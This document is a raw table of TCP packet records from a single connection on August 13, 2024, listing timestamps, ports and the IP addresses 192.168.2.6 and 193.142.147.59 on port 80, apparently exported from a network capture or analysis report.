Aug 13, 2024 10:21:12.204801083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.204992056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.205041885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.205235958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.205269098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.205287933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.205302954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.205318928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.205337048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.205348015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.205369949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.205385923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.205410957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.206041098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.206074953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.206093073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.206106901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.206116915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.206140041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.206149101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.206175089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.206178904 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.206208944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.206222057 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.206257105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.206759930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.206793070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.206815004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.206828117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.206836939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.206861973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.206876040 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.206896067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.206904888 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.206940889 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.207595110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.207628965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.207650900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.207662106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.207690001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.207696915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.207715034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.207730055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.207739115 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.207762957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.207772017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.207809925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.208419085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.208467960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.208488941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.208509922 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.208529949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.208565950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.208580017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.208599091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.208615065 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.208631992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.208642006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.208674908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.209228039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.209260941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.209281921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.209295034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.209305048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.209330082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.209340096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.209363937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.209372044 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.209407091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.210067987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.210110903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.210127115 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.210155010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.210155010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.210197926 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.210201025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.210242987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.210247040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.210290909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.210299969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.210334063 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.210896015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.210931063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.210952044 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.210963964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.210973024 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.210998058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.211005926 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.211030960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.211050987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.211065054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.211083889 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.211112976 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.264588118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.264657974 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.264678955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.264712095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.264727116 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.264755964 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.264918089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.264933109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.264946938 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.264970064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.264998913 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.265499115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.265552998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.271406889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.271440983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.271465063 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.271475077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.271492004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.271514893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.271693945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.271725893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.271759033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.271760941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.271786928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.271794081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.271811008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.271838903 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.277968884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.278026104 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.278052092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.278100014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.278239965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.278273106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.278305054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.278321981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.278546095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.278578997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.278599977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.278613091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.278631926 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.278646946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.278662920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.278691053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.279033899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.279066086 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.279086113 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.279099941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.279110909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.279134989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.279146910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.279184103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.279500008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.279553890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.279582024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.279629946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.285526991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.285583019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.285588026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.285618067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.285629034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.285651922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.285665989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.285686970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.285700083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.285733938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.285787106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.285820007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.285831928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.285861969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.286149025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.286181927 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.286201000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.286216021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.286228895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.286250114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.286262989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.286283970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.286295891 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.286323071 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.286880016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.286914110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.286931992 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.286947966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.286958933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.286982059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.286987066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.287017107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.287034035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.287050009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.287067890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.287098885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.287355900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.287446022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.287477016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.287477970 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.287507057 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.287514925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.287516117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.287550926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.287563086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.287585974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.287596941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.287620068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.287628889 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.287653923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.287669897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.287698984 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.288192987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.288227081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.288242102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.288274050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.291217089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.291270971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.291282892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.291400909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.291419029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.291452885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.291469097 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.291496992 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.291644096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.291676998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.291696072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.291709900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.291718960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.291752100 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.291934013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.291966915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.291985989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.291999102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.292006969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.292046070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.292292118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.292325020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.292345047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.292357922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.292360067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.292392015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.292402983 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.292427063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.292437077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.292459965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.292469025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.292510033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.292514086 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.292561054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.293416023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.293447971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.293469906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.293482065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.293493032 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.293514013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.293525934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.293548107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.293565035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.293580055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.293593884 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.293612957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.293622017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.293648005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.293654919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.293693066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.293884993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.293917894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.293936014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.293951988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.293962955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.293984890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.294003963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.294018030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.294034004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.294050932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.294069052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.294085979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.294090033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.294118881 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.294131994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.294162035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.294841051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.294874907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.294899940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.294908047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.294928074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.294943094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.294955969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.294975996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.294986010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.295008898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.295020103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.295042992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.295053959 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.295077085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.295085907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.295109987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.295125961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.295156002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.295800924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.295835018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.295852900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.295869112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.295877934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.295909882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.295924902 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.295943022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.295952082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.295977116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.295993090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.296010017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.296019077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.296045065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.296051979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.296078920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.296092987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.296122074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.296617985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.296650887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.296669960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.296684980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.296696901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.296715021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.296729088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.296753883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.351284981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.351320028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.351351023 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.351353884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.351373911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.351397038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.351490974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.351525068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.351541042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.351556063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.351571083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.351598024 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.351821899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.351836920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.351874113 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.351891994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.358752012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.358766079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.358778954 CEST	80	49711	193.142.147.59	192.168.2.6
